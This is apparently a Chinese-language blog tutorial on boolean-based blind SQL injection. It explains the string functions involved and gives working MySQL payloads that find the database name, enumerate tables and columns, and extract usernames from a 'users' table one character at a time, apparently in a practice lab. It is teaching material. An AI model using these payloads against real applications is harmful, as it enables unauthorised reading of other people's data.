SQL布尔盲注

看不到回显时使用盲注

布尔盲注

  • 在进行SQL注入时,web页面仅返回True和False
  • 布尔盲注会根据web页面返回的True或者False信息,对数据库中的信息,对数据库中的信息进行猜解,并获取数据库中的相关信息

函数

  • substr()-->用来截取字符串某一列字段中的一部分,在各个数据库中的函数名称是不一样的使用方式:substr(arg1,int,int2),啊arg1是被选取的字符串,int1为截取开始的位置,int2为截取长度
  • length()-->获取数据库长度,使用方式:length(arg1),arg1代表字符串
  • ascii()-->将单一字符,转化为ascii码值。使用方式ascii(str),str代表字符
  • if()-->条件判断。使用方式:if(arg1,arg2,arg3),arg1代表判断的条件,arg2是条件为真返回的结果,arg3是条件为假返回的结果

求库的长度

sql 复制代码
1' and length(database())>8#

求库名

sql 复制代码
-- substr 返回子字符串
-- 8是当前数据库'security'的长度 ,从第8个开始,取1位,则是'r'
-- 如果pos为9 那么开始位置大于字符串长度,ascii函数处理后将变成false
-- and 后只要不为 0, 页面都会返回正常
1' AND (ASCII(SUBSTR(database(),2,1)) = 101)#

求当前数据库存在的表的数量

sql 复制代码
1' AND (select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4#

求当前数据库表的表名长度

sql 复制代码
1' AND (LENGTH(
(select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1)
)) = 6#

求表名

sql 复制代码
1' AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
1,1)) = 101#

求表中列的数量

sql 复制代码
1' AND (select count(column_name) from information_schema.columns where table_name = "users") = 3#

求指定表中列的长度

sql 复制代码
1' AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),2,1))#

求指定表中的列名

sql 复制代码
1' AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
1,1)) = 105#

求指定表中某字段的数量

sql 复制代码
1' AND (select count(username) from users) = 13#

求字段长度

sql 复制代码
1' AND ASCII(SUBSTR((select username from users  limit 0,1),4,1))#

求字段名

sql 复制代码
1' and ASCII(SUBSTR((select username from users  limit 0,1),1,1))  = 68#
相关推荐
Asu520225 分钟前
思途SQL学习 0729
数据库·sql·学习
葡萄城技术团队16 小时前
利用 SQL Server 实现字符替换的高效函数
sql
FINE!(正在努力!)16 小时前
关于sql面试积累
数据库·sql
看天走路吃雪糕16 小时前
墨者:SQL过滤字符后手工绕过漏洞测试(万能口令)
数据库·sql·sql注入·墨者学院·万能口令
武昌库里写JAVA17 小时前
【MySQL】MySQL数据库如何改名
java·vue.js·spring boot·sql·学习
孫治AllenSun17 小时前
【JSqlParser】sql解析器使用案例
数据库·windows·sql
旧时光巷20 小时前
SQL基础⑫ | 视图篇
数据库·sql·学习·mysql·oracle·视图
谁他个天昏地暗1 天前
标准SQL语句示例
数据库·sql·oracle
22:30Plane-Moon1 天前
SQL 查询语法笔记
数据库·笔记·sql
还是奇怪2 天前
深入解析三大Web安全威胁:文件上传漏洞、SQL注入漏洞与WebShell
sql·安全·web安全